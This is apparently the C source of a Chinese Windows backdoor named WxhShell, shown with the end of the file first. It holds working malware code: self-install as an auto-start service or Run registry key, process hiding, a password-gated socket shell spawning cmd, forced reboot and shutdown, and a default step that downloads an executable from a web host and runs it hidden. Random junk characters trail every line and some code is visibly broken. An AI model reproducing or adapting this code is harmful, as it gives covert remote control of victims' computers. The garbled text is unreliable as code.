    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )VID ;l;4  
    else { J"L+`i  
    closesocket(wsh); #)2'I`_E  
    ExitThread(0); fn(KmuNA  
    } Zx7Y ,0  
    break; 3G dWq*  
    } f+j\,LJ  
  // 获取shell +dcBh Dq  
  case 's': { c=K . |g,  
    CmdShell(wsh); 61HU_!A8S  
    closesocket(wsh); YN#i^(  
    ExitThread(0); <<W{nSm#  
    break; !v;N@C3C  
  } a_P8!pk+5  
  // 退出 x}$SB%9/  
  case 'x': { a.#`>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '.r_6X$7Jt  
    CloseIt(wsh); %{WS7(si  
    break; YD_hg#=n  
    } \3LP@;Phn  
  // 离开 85+'9#~!  
  case 'q': { _SC{nZ[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )HQ':ZE$  
    closesocket(wsh); L\)ssO uh  
    WSACleanup(); :3J, t//c  
    exit(1); @9lV~,,U  
    break; 9AO`Zk{/Ez  
        } &#^^UT(nj  
  } /]zn8 d  
  } j\iE3:94$  
bfcQ(m5  
  // 提示信息 +sq'\Tbp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vg[A/$gLM  
} Zvz Zs  
  } Jw3VWc ]]  
UKV0xl  
  return; YEH /22  
} Z:9xf:g *  
o{7wPwQ;*  
// shell模块句柄 n@xC?D:t*  
int CmdShell(SOCKET sock) Oo^kV:.)  
{ MwbXZb{#"=  
STARTUPINFO si; <ZO"0oz%  
ZeroMemory(&si,sizeof(si)); Vea2 oQq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5]pvHc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #@FMH*?xX6  
PROCESS_INFORMATION ProcessInfo; m:&go2Y  
char cmdline[]="cmd"; h|qTMwPr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R8|H*5T?+  
  return 0; M#%l}  
} L/\s~*:M  
])F*)U  
// 自身启动模式 *?bOH5$@Nw  
int StartFromService(void) >G7dw1;  
{ E/[>#%@i  
typedef struct .aS`l~6  
{ KUJCkwQ  
  DWORD ExitStatus; mq 0d ea  
  DWORD PebBaseAddress; K!W7a~ @  
  DWORD AffinityMask; q:h7Jik  
  DWORD BasePriority; )!z4LE  
  ULONG UniqueProcessId; T_iX1blrgh  
  ULONG InheritedFromUniqueProcessId; kNq>{dNRx  
}   PROCESS_BASIC_INFORMATION; |H-%F?<{  
a',6WugIP  
PROCNTQSIP NtQueryInformationProcess; OlRtVp1  
!r\u,l^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o%3i(H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >7g #e,d   
'Ur1I "  
  HANDLE             hProcess; [$\KS_,Mn  
  PROCESS_BASIC_INFORMATION pbi; B&:9uPRzZ  
WH|TdU$V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %Q,6sH#  
  if(NULL == hInst ) return 0; ZHu"& &  
>b\{y}[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Iwl\x[A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3yGo{uW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qzon);#7w  
T.bn~Z#f  
  if (!NtQueryInformationProcess) return 0; x[u4>f  
hTfq>jIB_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^!&6z4DP  
  if(!hProcess) return 0; 3CL1Z\8To  
^mH:8_=(.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; To/6=$wto  
x%h4'Sm  
  CloseHandle(hProcess); W%ml/ 4  
1t+uMhy*y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L6d^e53AP  
if(hProcess==NULL) return 0; -@7?N6~qZx  
mD5Vsy{Pb  
HMODULE hMod; ]{Y7mpdB  
char procName[255]; <JUumrEo  
unsigned long cbNeeded; c,>y1%V*S{  
{L'uuG\9U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3~q#P   
B*Z}=$1j  
  CloseHandle(hProcess); !NqLBrcv0  
&=f] a  
if(strstr(procName,"services")) return 1; // 以服务启动 ,FIG5-e,}  
'p_|Rw>  
  return 0; // 注册表启动 u.yYE,9  
} oUl0w~Xn  
tt&#4Z  
// 主模块 `d c&B  
int StartWxhshell(LPSTR lpCmdLine) /,d]`N!  
{ c T21  
  SOCKET wsl; f;D(X/"f]  
BOOL val=TRUE; @\U;?N~k  
  int port=0; vzX%x ul  
  struct sockaddr_in door; &s#OiF8  
|@W|nbAfX  
  if(wscfg.ws_autoins) Install(); SA{noM  
:|\[a0ZL  
port=atoi(lpCmdLine); Cl6P,C  
`y3*\l  
if(port<=0) port=wscfg.ws_port; }A}cq!I^  
0g8ykGyx  
  WSADATA data; \B4f5 L8k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _ <Ip0?N  
U| T}0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sq ]VtQ(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8q]_> X  
  door.sin_family = AF_INET; ^*G UcQ$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Prc (  
  door.sin_port = htons(port); 5Vc~yMz  
.Te GA;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Skl:~'W.&|  
closesocket(wsl); b{BiC&3  
return 1; \J(kevX  
} lb{X6_.  
63`5A3rii  
  if(listen(wsl,2) == INVALID_SOCKET) { rF$ S  
closesocket(wsl); Aflf]G1  
return 1; 7aS%;EU  
} '2qbIYanh  
  Wxhshell(wsl); [_`<<!u>-  
  WSACleanup(); AvVPPEryal  
v65]$%F?  
return 0; lFp:F5  
XL/V>`E@  
} o\<JG?P  
v4qpE!W27~  
// 以NT服务方式启动 :x,dYJm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dUQ )&Hv  
{ Bx/)Sl@  
DWORD   status = 0; ], IQ~  
  DWORD   specificError = 0xfffffff; :*M2@  
sa}.o ZpQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SJ}PV:x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hwQrmVwvP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mGpBj9jr1  
  serviceStatus.dwWin32ExitCode     = 0; s"`Oj5  
  serviceStatus.dwServiceSpecificExitCode = 0; (zPsA  
  serviceStatus.dwCheckPoint       = 0; _b`/QSL  
  serviceStatus.dwWaitHint       = 0; "r=p/"4D  
J8B0H1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DaBy<pGb?  
  if (hServiceStatusHandle==0) return; ol1J1Zg  
x*!*2{  
status = GetLastError(); ai<K6)  
  if (status!=NO_ERROR) e6>[ZC  
{ y1h3Ch>Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D W>O]\I  
    serviceStatus.dwCheckPoint       = 0; SmS6B5j\R  
    serviceStatus.dwWaitHint       = 0; l\"CHwN?Y  
    serviceStatus.dwWin32ExitCode     = status; ujn7DBE"  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6P T)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a$EudD#+  
    return; r]'[qaP  
  } ]5Q)mWF  
(Z0.H3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V`0Y p  
  serviceStatus.dwCheckPoint       = 0; iA|n\a~ny,  
  serviceStatus.dwWaitHint       = 0; ^?: Az  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 24po}nrO  
} sDvy(5  
cJ>^@pd{  
// 处理NT服务事件,比如:启动、停止 sC ?e%B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sY[!=`@  
{ Ax 4R$P.]u  
switch(fdwControl) T-\q3X|y/  
{ v+i==vxg  
case SERVICE_CONTROL_STOP: ?k=)T]-}  
  serviceStatus.dwWin32ExitCode = 0; YkQ=rurE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'JO}6 ;W  
  serviceStatus.dwCheckPoint   = 0; |fb*<o eT  
  serviceStatus.dwWaitHint     = 0; *&5./WEOH  
  { uG+eF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1wE`kbC<  
  } [B^V{nUBc  
  return; &Z}}9dd  
case SERVICE_CONTROL_PAUSE: pf#R]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Abpzf\F  
  break; kaRjv   
case SERVICE_CONTROL_CONTINUE: l}FA&c"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W6)XMl}n  
  break; x&N@R?AG1  
case SERVICE_CONTROL_INTERROGATE: m;sYg  
  break; UZL-mF:)&  
}; .G}$jO}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vos-[$  
} ZSB;4 ?:h  
2h) *  
// 标准应用程序主函数 OTEx9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j'XND`3  
{ w[uw hd  
uZP( -}  
// 获取操作系统版本 Qqd+=mgc  
OsIsNt=GetOsVer(); /GA-1cS_(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5r0Sl89J  
!MOcF5M  
  // 从命令行安装 PkOtg[Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZC&~InN  
9?|m ^  
  // 下载执行文件 ; X/'ujg  
if(wscfg.ws_downexe) { :FixLr!q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 618bbftx{  
  WinExec(wscfg.ws_filenam,SW_HIDE); :io~{a#.2\  
} t&C0V|s79$  
m xy=3cUi  
if(!OsIsNt) { G[ q<P  
// 如果时win9x,隐藏进程并且设置为注册表启动 '<wZe.Q!  
HideProc(); kqCUr|M.P  
StartWxhshell(lpCmdLine); m.U&O=]5  
} V^\b"1X7N  
else ?aZ\D g{  
  if(StartFromService()) /b{Ufo3v  
  // 以服务方式启动 i;67< f}-  
  StartServiceCtrlDispatcher(DispatchTable); =I$:-[(  
else j2|UuWU  
  // 普通方式启动 Iy2AJ|d.  
  StartWxhshell(lpCmdLine); I^QB`%v5  
%"3tGi:/  
return 0; AVp"<Uv  
} LfsOGC  
fM<g++X  
MENrP5AL  
zENo2#{_N  
=========================================== /j:-GJb*!u  
]r1Lr{7^S  
Y2>*' nU  
k")3R}mX  
)1&,khd/u  
SU4~x0  
" AH ]L C6-  
8 =3$U+  
#include <stdio.h> rzKn5Z  
#include <string.h> a@-!,Hi  
#include <windows.h> e)4L}a  
#include <winsock2.h> jAD{?/RB}  
#include <winsvc.h> HF%)ip+  
#include <urlmon.h> (<yQA. M  
o&E2ds3  
#pragma comment (lib, "Ws2_32.lib") <-|g>  
#pragma comment (lib, "urlmon.lib") j2:A@ a6  
i^/D_L.  
#define MAX_USER   100 // 最大客户端连接数 zQx7qx  
#define BUF_SOCK   200 // sock buffer WtbOm  
#define KEY_BUFF   255 // 输入 buffer g@S?5S.Av  
cs)z!  
#define REBOOT     0   // 重启 V[">SiOg  
#define SHUTDOWN   1   // 关机 y/ah<Y0(  
RTYhgq  
#define DEF_PORT   5000 // 监听端口 x;/%`gKn8  
r)Iq47Uiw  
#define REG_LEN     16   // 注册表键长度 {q BbzBG  
#define SVC_LEN     80   // NT服务名长度 o(5 ( ]bJ  
mvBUm-X  
// 从dll定义API H{*R(S<I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -MeO|HWm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0Yc#fD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6H!"oC&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]m""ga  
N:rnH:g+:  
// wxhshell配置信息 12yX`9h>  
struct WSCFG { 2aGK}sS6  
  int ws_port;         // 监听端口 u}KEH@yv  
  char ws_passstr[REG_LEN]; // 口令 >l!DW i6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2<+9lk  
  char ws_regname[REG_LEN]; // 注册表键名 2a:JtJLl  
  char ws_svcname[REG_LEN]; // 服务名 CFx$r_!~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w77"?kJ9X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i9y&<^<W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y&`nB,'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no btU:=6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @c{b\is2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o*|j}hnbv  
}Gm/9@oKc  
}; <7sGA{  
!4 G9`>n  
// default Wxhshell configuration nK|WzUtp  
struct WSCFG wscfg={DEF_PORT, ZIM 5$JdCv  
    "xuhuanlingzhe", ?!kPW^gD  
    1, eMDraJv@  
    "Wxhshell", "npLl]XM  
    "Wxhshell", . xdSUe  
            "WxhShell Service", Tg.}rNA4  
    "Wrsky Windows CmdShell Service", 626 !6E;T  
    "Please Input Your Password: ", (SYSw%v$A  
  1, <f`G@  
  "http://www.wrsky.com/wxhshell.exe", a;e~D 9%1  
  "Wxhshell.exe" '#0'_9}  
    }; p/inATH  
V$fvf#T  
// 消息定义模块 m|+g_JZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ) %&~CW+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xA2 "i2k9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,_2ZKO/k$  
char *msg_ws_ext="\n\rExit."; :*/`"M)'  
char *msg_ws_end="\n\rQuit."; '`Iuf\  
char *msg_ws_boot="\n\rReboot..."; 7{e*isV  
char *msg_ws_poff="\n\rShutdown..."; @s;qmBX4  
char *msg_ws_down="\n\rSave to "; Q'S"$^~{  
k\a&4v  
char *msg_ws_err="\n\rErr!"; JA~v:ec  
char *msg_ws_ok="\n\rOK!"; k),.  
J-g<-!>RM  
char ExeFile[MAX_PATH]; Ljjuf=]  
int nUser = 0; BSB;0OM  
HANDLE handles[MAX_USER]; G\ht)7SGgf  
int OsIsNt; ~1v5H]T{  
K=82fF(-  
SERVICE_STATUS       serviceStatus; +1%7*2q,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7}e73  
$.2#G"|  
// 函数声明 8%wu:;*]%  
int Install(void); /2e&fxxD  
int Uninstall(void); lUd;u*A  
int DownloadFile(char *sURL, SOCKET wsh); 9vZD?6D,n  
int Boot(int flag); N8^ AH8l  
void HideProc(void); &%Lps_+fJ  
int GetOsVer(void); Akbt%&  
int Wxhshell(SOCKET wsl); Ma,2_oq+  
void TalkWithClient(void *cs); ]V K%6PQ0  
int CmdShell(SOCKET sock); .`3O4]N[  
int StartFromService(void); ==\Qj{ 7`  
int StartWxhshell(LPSTR lpCmdLine); e$3{URg  
]e+88eQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?W(>Yefk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sox0:9Oqnf  
$Dm2>:Dmt  
// 数据结构和表定义 j!:^+F/  
SERVICE_TABLE_ENTRY DispatchTable[] = &6`h%;a/&  
{ 58@YWv Ak  
{wscfg.ws_svcname, NTServiceMain}, EBX+fzjQo  
{NULL, NULL} >qBQfz:U>  
}; r{T}pc>^  
d/O~"d  
// 自我安装 `'Af`u\R  
int Install(void) )E.!jL:g  
{ rVE!mi]%  
  char svExeFile[MAX_PATH]; Pn*+g!`  
  HKEY key; ROyG+dUy  
  strcpy(svExeFile,ExeFile); As;@T$G  
5QR=$?K  
// 如果是win9x系统,修改注册表设为自启动 U2u\Q1  
if(!OsIsNt) { ^"e|)4_5\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8AK=FX&@&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Y81B;/F  
  RegCloseKey(key); }9GD'N?4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |ZAR!u&0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); + S^OzCGk  
  RegCloseKey(key); (HW!!xM  
  return 0; J7`fve  
    } }j/($,  
  } #MyR:V*a  
} ,u1Yn}  
else { W/3,vf1  
x9s 7:F  
// 如果是NT以上系统,安装为系统服务 =skw@c ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ur,!-t(~t  
if (schSCManager!=0) {WE1^&Vk-}  
{ s^{hdCCl67  
  SC_HANDLE schService = CreateService <GbF4\ue  
  ( S~9K'\vO  
  schSCManager, 3:Mq4 0]x  
  wscfg.ws_svcname, w@&4dau  
  wscfg.ws_svcdisp, _bi]Bpxf  
  SERVICE_ALL_ACCESS, %8_bh8g-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qW1d;pt  
  SERVICE_AUTO_START, xV_,R'l  
  SERVICE_ERROR_NORMAL, f.%mp$~T  
  svExeFile, .>Gnb2  
  NULL, LX [_6  
  NULL, \{HbL,s  
  NULL, rff=ud>Jf  
  NULL, \pXs&}%1,F  
  NULL SM;*vkwz~  
  ); [\ M$a|K  
  if (schService!=0) s[ ze8:  
  { )AxgKBW  
  CloseServiceHandle(schService); F%t_9S,)O  
  CloseServiceHandle(schSCManager); ADTx _tE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /!l$Y?  
  strcat(svExeFile,wscfg.ws_svcname); b ?p <y`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Uq:WW1=kh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G% |$3  
  RegCloseKey(key); eDh]uKg  
  return 0; IMKyFp]h-  
    } xpJ6M<O{8  
  } ZPktZ  
  CloseServiceHandle(schSCManager); UE-<  
} kK27hfsw  
} h%9>js^~  
;"}yVV/4  
return 1; >tUi ;!cQ  
} F3-<F_4.w  
u3"0K['3  
// 自我卸载 ?s=O6D&   
int Uninstall(void) Vq'\`$_  
{ 5r*5Co+  
  HKEY key; eI+<^p_j2  
77FI&*q  
if(!OsIsNt) { toq/G,N Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @H{QHi  
  RegDeleteValue(key,wscfg.ws_regname); NUlp4i~Q  
  RegCloseKey(key); D5o[z:V7"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S>-x<'Os  
  RegDeleteValue(key,wscfg.ws_regname); Tz\ PQ)!  
  RegCloseKey(key); 64)Fz}  
  return 0; laR cEXj  
  } #Tz$ona  
} a.n;ika]-  
} FeW}tKH  
else { y9K U&L2  
p#5U[@TK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O_9M /[<  
if (schSCManager!=0) 9g7d:zG  
{ f<14-R=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g*]hmkYe9  
  if (schService!=0) ))/NGa  
  { (=2-*((&(A  
  if(DeleteService(schService)!=0) { W'|NYw_B  
  CloseServiceHandle(schService); :]Nn(},  
  CloseServiceHandle(schSCManager); :%6OFO$z  
  return 0; eb6Ux  
  } <G};`}$a  
  CloseServiceHandle(schService); TY."?` [FK  
  } 7L%JCH#F  
  CloseServiceHandle(schSCManager); Nl4,c[$C  
} -0QoVGw  
} b^*9m PP  
ans(^Up$  
return 1; 04K[U9W3  
} _d|CO  
B0h|Y.S8%1  
// 从指定url下载文件 .3X5~OH  
int DownloadFile(char *sURL, SOCKET wsh) CIxa" MW  
{ [@VM'@e7  
  HRESULT hr; _Sq*m=  
char seps[]= "/"; ?/M:  
char *token; Xkqq$A4  
char *file; Uuxx^>"h\  
char myURL[MAX_PATH]; VjI=5)+~  
char myFILE[MAX_PATH]; 4YV 0v,z  
>>cb0fH5  
strcpy(myURL,sURL); ; _ziRy  
  token=strtok(myURL,seps); Tvd}5~ 5?  
  while(token!=NULL) [P'"|TM[ ~  
  { yt'P,m  
    file=token; @ 0'j;")XV  
  token=strtok(NULL,seps); L;7u0Yg  
  } lm;Dy*|<  
{Jna' eS  
GetCurrentDirectory(MAX_PATH,myFILE); ~+A(zlYr~  
strcat(myFILE, "\\"); -wh?9 ?W  
strcat(myFILE, file); h SeXxSb:  
  send(wsh,myFILE,strlen(myFILE),0); ?*zDsQ  
send(wsh,"...",3,0); l&/V4V-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K2XRKoG  
  if(hr==S_OK) :17Pc\:DS  
return 0; ~WjK'N4n5  
else X[ 6#J  
return 1; OH\(;RN*  
Dru iiA  
} kF;N}O2?{  
J dM0f!3  
// 系统电源模块 rAn:hR{  
int Boot(int flag) +]3kcm7B  
{ *;&[q{hz  
  HANDLE hToken; i_c'E;|  
  TOKEN_PRIVILEGES tkp; khc1<BBsT  
}T5 E^  
  if(OsIsNt) { 1dhuLN%Ce  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e=cb%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K8=jkU  
    tkp.PrivilegeCount = 1; Sx0/Dm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hCOCX_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :>|dE%/e$  
if(flag==REBOOT) { y+aKk6(_W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [n2+`A  
  return 0; ~Ydm"G  
} f:K>o .  
else { %lnVzGP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lR>p  
  return 0; EKD?j  
} Ob&m&2s,  
  } KB"N',kG  
  else { 9Q.@RO$%C  
if(flag==REBOOT) { ;*G';VuT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;/h&40&  
  return 0; 8345 H  
} T4nWK!}z  
else { 9+iz+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .6=;{h4cpB  
  return 0; 0clq}  
} &7 K=  
} Vb8Qh601  
q'Nafa&a)  
return 1; E !9(6G4  
} )H>?K0I  
Kqz+:E8D  
// win9x进程隐藏模块 @<jm+f"MP  
void HideProc(void) i'QR-B&Z  
{ .iC!Ttr  
N/!(`Z,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]$,3vYBf  
  if ( hKernel != NULL ) oF~+L3&X  
  { :4r{t?ytXw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dBkM~"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a&Z,~Vp  
    FreeLibrary(hKernel); ]6 HR  
  } p9E/#U8A_  
B'e@RhU;  
return; 9sN#l  
} ;:,U]@  
@#p6C  
// 获取操作系统版本 #tIeI6 Qw  
int GetOsVer(void) sVpET  
{ &P,uK+C4  
  OSVERSIONINFO winfo; Zq~Rkx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;Nw)zS  
  GetVersionEx(&winfo); p'0X>>$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KO\-|#3y>  
  return 1; ~: fSD0  
  else Ou4 `#7FR  
  return 0; AtUtE#K  
} m5o$Dus+?'  
i-ww@XOQ  
// 客户端句柄模块  sd"eu  
int Wxhshell(SOCKET wsl) gZ| !'  
{ UcKVL zKs  
  SOCKET wsh; MH|F<$42  
  struct sockaddr_in client; ifNyVE Hy  
  DWORD myID; ^?2zoS#iw  
!' 0PM[  
  while(nUser<MAX_USER) [C/{ru&E  
{ gt9(5p  
  int nSize=sizeof(client); #+N_wIP4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ifokg~X~G  
  if(wsh==INVALID_SOCKET) return 1; njZJp|y6  
{<$tEj:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FUXJy{n6"2  
if(handles[nUser]==0) 01&@8z'E  
  closesocket(wsh); 2acT w#  
else ${rWDZ0Z  
  nUser++; k 1a?yH)=  
  } Ai"MJ6)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qW4DW4  
+\*b?x  
  return 0; >& 4):  
} Eyz.^)r  
)4h|7^6ji  
// 关闭 socket A.mFa1lH  
void CloseIt(SOCKET wsh) !x:{"  
{ U[2;Fkapi  
closesocket(wsh); /i dI-  
nUser--; eso-{W,D  
ExitThread(0); ($!uBF-b  
} 7n o6  
$e2+O\.>  
// 客户端请求句柄 C>'G?  
void TalkWithClient(void *cs) ;B;@MD,B  
{ 5 1N/XEk  
0y t36Du  
  SOCKET wsh=(SOCKET)cs; omGzyuPF  
  char pwd[SVC_LEN]; Qv`: E   
  char cmd[KEY_BUFF]; S?6 -I,]h  
char chr[1]; 2 6DX4  
int i,j; Hj(K*z  
c|(J%@B)  
  while (nUser < MAX_USER) { Caz5q|Oo  
d#XgO5eyO  
if(wscfg.ws_passstr) { yMu G? x+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (7N!Jvg9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i=*H|)  
  //ZeroMemory(pwd,KEY_BUFF); >tPf.xI|l  
      i=0; "]uPke@  
  while(i<SVC_LEN) { 1Jdx#K  
>kxRsiKV  
  // 设置超时 U?d  I  
  fd_set FdRead; _VRxI4q  
  struct timeval TimeOut; P(FlU]q  
  FD_ZERO(&FdRead); 5|~nX8>  
  FD_SET(wsh,&FdRead); 6K )K%a,9  
  TimeOut.tv_sec=8; B=;kC#Emtf  
  TimeOut.tv_usec=0; H2H[DVKv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XI |k,Ko<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zc=G4F01  
c~~4eia)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0e+#{k  
  pwd=chr[0]; Wz #Cyjo  
  if(chr[0]==0xd || chr[0]==0xa) { ';Q8x?BS  
  pwd=0; iqdU?&.;  
  break; hJ]Oa7r  
  } |/H?\]7  
  i++; JV@G9PT  
    } 3!\h'5{  
|OAM;@jH  
  // 如果是非法用户,关闭 socket qjhk#\y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -.y1]4  
} [|YvVA  
SD:D8"8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b9#(I~}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kW2DKr-[  
RD"-(T  
while(1) { 9od*N$  
S5u$I  
  ZeroMemory(cmd,KEY_BUFF); kS &>g  
XVqkw@Ia4!  
      // 自动支持客户端 telnet标准   T*SLM"x  
  j=0; 9PA<g3z  
  while(j<KEY_BUFF) { akNqSZwj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r180vbN$  
  cmd[j]=chr[0]; hSw=Oq82  
  if(chr[0]==0xa || chr[0]==0xd) { Pzq^x]  
  cmd[j]=0; 9Q}g Vqn  
  break; I<CrEL<5}~  
  } qPD(D{,f$  
  j++; qbD 7\%  
    } EpNN!s=Q  
A.("jb@I  
  // 下载文件 ,b&h Lht  
  if(strstr(cmd,"http://")) { .#bf9JOE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w&p(/y  
  if(DownloadFile(cmd,wsh)) 7 s{vou  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UO&$1rV  
  else >V?0#f45@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h'};spv  
  } aQ $sn<-l  
  else { ?RS:I%bL  
te2vv]W1  
    switch(cmd[0]) { KcpYHWCa.  
  \u{4=-C.  
  // 帮助 u>.a;BO  
  case '?': { G 3,v'D5  
